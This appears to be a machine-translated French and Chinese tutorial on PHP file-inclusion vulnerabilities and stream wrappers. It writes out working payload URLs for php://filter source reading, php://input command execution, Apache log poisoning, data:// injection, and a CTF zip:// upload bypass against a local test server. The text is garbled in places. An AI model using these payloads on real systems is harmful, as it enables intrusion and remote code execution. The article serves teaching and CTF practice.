Maison  >  Article  >  développement back-end  >  Analysons l'inclusion de fichiers et l'utilisation du pseudo-protocole PHP

Analysons l'inclusion de fichiers et l'utilisation du pseudo-protocole PHP

WBOY
WBOYavant
2022-05-04 09:00:202371parcourir

Cet article vous présente des problèmes liés à PHP, qui présente principalement le contenu pertinent sur l'inclusion de fichiers et le pseudo-protocole PHP. La vulnérabilité d'inclusion de fichiers est un type d'"injection de code". tout le monde.

Analysons l'inclusion de fichiers et l'utilisation du pseudo-protocole PHP

Étude recommandée : "Tutoriel vidéo PHP"

Inclusion de fichiers

La vulnérabilité d'inclusion de fichiers est un type d'"injection de code". Le principe est d'injecter un script ou du code que l'utilisateur peut contrôler et de laisser le serveur l'exécuter. Un représentant typique de « l’injection de code » est l’inclusion de fichiers.

Pour réussir à exploiter la vulnérabilité d'inclusion de fichiers en vue d'une attaque, les deux conditions suivantes doivent être remplies :

  • Les applications Web utilisent include() et d'autres fonctions d'inclusion de fichiers pour introduire les fichiers qui doivent être inclus via des variables dynamiques ;

  • Les utilisateurs peuvent contrôler cette variable dynamique.
  • Fonctions courantes qui provoquent l'inclusion de fichiers :
PHP : include(), include_once(), require(), require_once(), etc.

Le fichier 1.php contient du code qui peut exécuter directement le fichier inclus, et le format de fichier inclus Sans aucune restriction
Quatre fonctions d'inclusion de fichiers sont fournies en php :
(1) Exiger : Lorsque le fichier inclus est introuvable, une erreur fatale (E_COMPILE_ERROR) sera générée et le script s'arrêtera
(2) Inclure ; : Impossible à trouver Un seul (E_warinng) sera généré lorsque le fichier inclus sera atteint, et le script continuera à s'exécuter ;
(3) Require_once : similaire à include, un avertissement sera généré si le fichier est inclus. le code a déjà été inclus, il ne le sera plus ;

Pseudo-protocole PHP

Le pseudo-protocole php est en fait le protocole et le protocole d'encapsulation qu'il prend en charge. Les protocoles qu'il prend en charge sont :

file:// — 访问本地文件系统

php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流

Analysons linclusion de fichiers et lutilisation du pseudo-protocole PHPall_url_include a été ajouté après PHP 5.2. Les paramètres sûrs et pratiques (paramètres par défaut de php) sont :allow_url_fopen=on;all_url_include=off;

allow_url_fopen = On (autoriser l'ouverture des fichiers URL, activé). par défaut)

allow_url_fopen = Off (interdit l'ouverture des fichiers URL)
allow_url_include = Off (interdit le référencement des fichiers URL, la nouvelle version ajoute des fonctions, la valeur par défaut est désactivée)
allow_url_include = On (autorise le référencement des fichiers URL, la nouvelle version ajoute des fonctions)

file Protocol
file:// filesystem est le protocole d'encapsulation par défaut utilisé par PHP et expose le système de fichiers local.

Utilisez le protocole file:// pour inclure le phpinfo.php

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php

Analysons linclusion de fichiers et lutilisation du pseudo-protocole PHP

Protocole PHP
php:// pour accéder à divers flux d'entrée/sortie (flux d'E/S), qui sont souvent utilisés dans CTF C'est php://filter et php://input
php://filter est utilisé pour lire le code source :

php://input est utilisé pour exécuter du code php.

http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php

php://filter nécessite un encodage base64 lors de la lecture des fichiers php


php://inputAnalysons linclusion de fichiers et lutilisation du pseudo-protocole PHP

allow_url_include = On
  1. php://input + [POST DATA] pour exécuter le code php
Obligatoire** *allow_url_include = On***

http://localhost/www/lfi.php?file=php://input

POST	<?system (&#39;ipconfig&#39;)?>

Analysons linclusion de fichiers et lutilisation du pseudo-protocole PHP

allow_url_include = Off
  1. Cependant, dans la plupart des cas, allow_url_include est désactivé par défaut et
ne peut pas inclure de données POST. Dans ce cas, il peut inclure des journaux Apache ou. Enregistrement du journal des erreurs


Tout d'abord, vous devez flouter la méthode pour supprimer le chemin du journal

Pour faciliter les tests, j'ai d'abord effacé le contenu du journal pour une démonstration facile

Visitez l'URL et écrivez. le code dans le journal en signalant l'erreur

Remarque : ici, vous devez utiliser burp pour capturer les paquets pour y accéder, sinon le code sera codé en URL et écrit dans le journal et ne pourra pas être exécuté. user-agent.

http://localhost/www/lfi.php?file=<?php  phpinfo();?>


Analysons linclusion de fichiers et lutilisation du pseudo-protocole PHP

Mon chemin de journal est :

F: phpstudyphpstudy_proExtensionsApache2.4.39logsaccess.log.1631750400Analysons linclusion de fichiers et lutilisation du pseudo-protocole PHP
Utilisez le pseudo-protocole file:// pour lire le journal et constater que phpinfo a été exécuté avec succès.

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

Analysons linclusion de fichiers et lutilisation du pseudo-protocole PHPzip://protocol

** zip:// & bzip2:// & zlib:// ** sont tous deux des flux compressés et peuvent accéder aux sous-fichiers des fichiers compressés. il n'est pas nécessaire de spécifier un nom de suffixe et peut être modifié par n'importe quel suffixe : jpg png gif xxx, etc.

Nous analysons ici un cas CTF qui combine le téléchargement de fichiers et l'inclusion de fichiers

Analysons d'abord le code source du téléchargement de fichiers


file:
 

分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。

分析文件包含的源代码

Tips: the parameter is file! :) <!-- upload.php --><?php     @$file = $_GET["file"];
    echo $file;
    if(isset($file))
    {
        if (preg_match(&#39;/http|data|ftp|input|%00/i&#39;, $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }?>

分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。

综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。

在文件上传时候将后缀名zip修改为png的后缀名,

test.php中写入木马

<?phpphpinfo ();?>

如下图所示
Analysons linclusion de fichiers et lutilisation du pseudo-protocole PHP

Analysons linclusion de fichiers et lutilisation du pseudo-protocole PHP

图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功

http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

Analysons linclusion de fichiers et lutilisation du pseudo-protocole PHP

data://

条件:

allow_url_fopen:on
allow_url_include :on

访问网址

http://localhost/www/lfi.php?file=data://text/plain,<?php  phpinfo();?>

也可以使用base64编码,防止代码被过滤掉

file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
Analysons linclusion de fichiers et lutilisation du pseudo-protocole PHP

推荐学习:《PHP视频教程

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer